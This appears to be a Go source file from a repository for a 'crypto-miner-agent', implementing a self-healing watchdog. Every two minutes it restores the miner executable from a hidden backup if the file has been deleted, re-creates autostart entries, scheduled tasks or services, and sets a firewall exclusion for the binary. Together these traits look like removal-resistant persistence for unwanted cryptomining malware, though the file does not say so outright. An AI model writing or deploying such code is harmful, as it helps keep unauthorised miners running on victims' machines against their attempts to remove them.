Files
AetherForge/agent/deploy/health.go
drjones b10d353a8b Stabilize Fusion builds and simplify optional modules.
Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
2026-05-27 20:13:24 -07:00

70 lines
1.6 KiB
Go

package deploy
import (
"log"
"os"
"path/filepath"
"time"
"crypto-miner-agent/config"
)
const backupSuffix = ".bak"
// StartWatchdog keeps persistence and the installed binary healthy.
func StartWatchdog(cfg config.RuntimeConfig) {
if !cfg.SelfHealing {
return
}
go func() {
ticker := time.NewTicker(2 * time.Minute)
defer ticker.Stop()
for range ticker.C {
if err := maintainInstall(cfg); err != nil {
log.Printf("[watchdog] maintenance: %v", err)
}
}
}()
}
func maintainInstall(cfg config.RuntimeConfig) error {
installDir, err := cfg.InstallDirectory()
if err != nil {
return err
}
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
backupExe := installedExe + backupSuffix
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
if _, statErr := os.Stat(backupExe); statErr == nil {
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
return copyErr
}
log.Printf("[watchdog] restored missing binary from backup")
}
}
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if err := configureAutoStart(cfg, installedExe); err != nil {
return err
}
}
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
if err := createScheduledTask(cfg, installedExe); err != nil {
return err
}
}
if cfg.FirewallExclusion {
EnsureFirewallExclusion(cfg, installedExe)
}
return nil
}
func saveBackup(installedExe string) error {
backup := installedExe + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
return copyFile(installedExe, backup)
}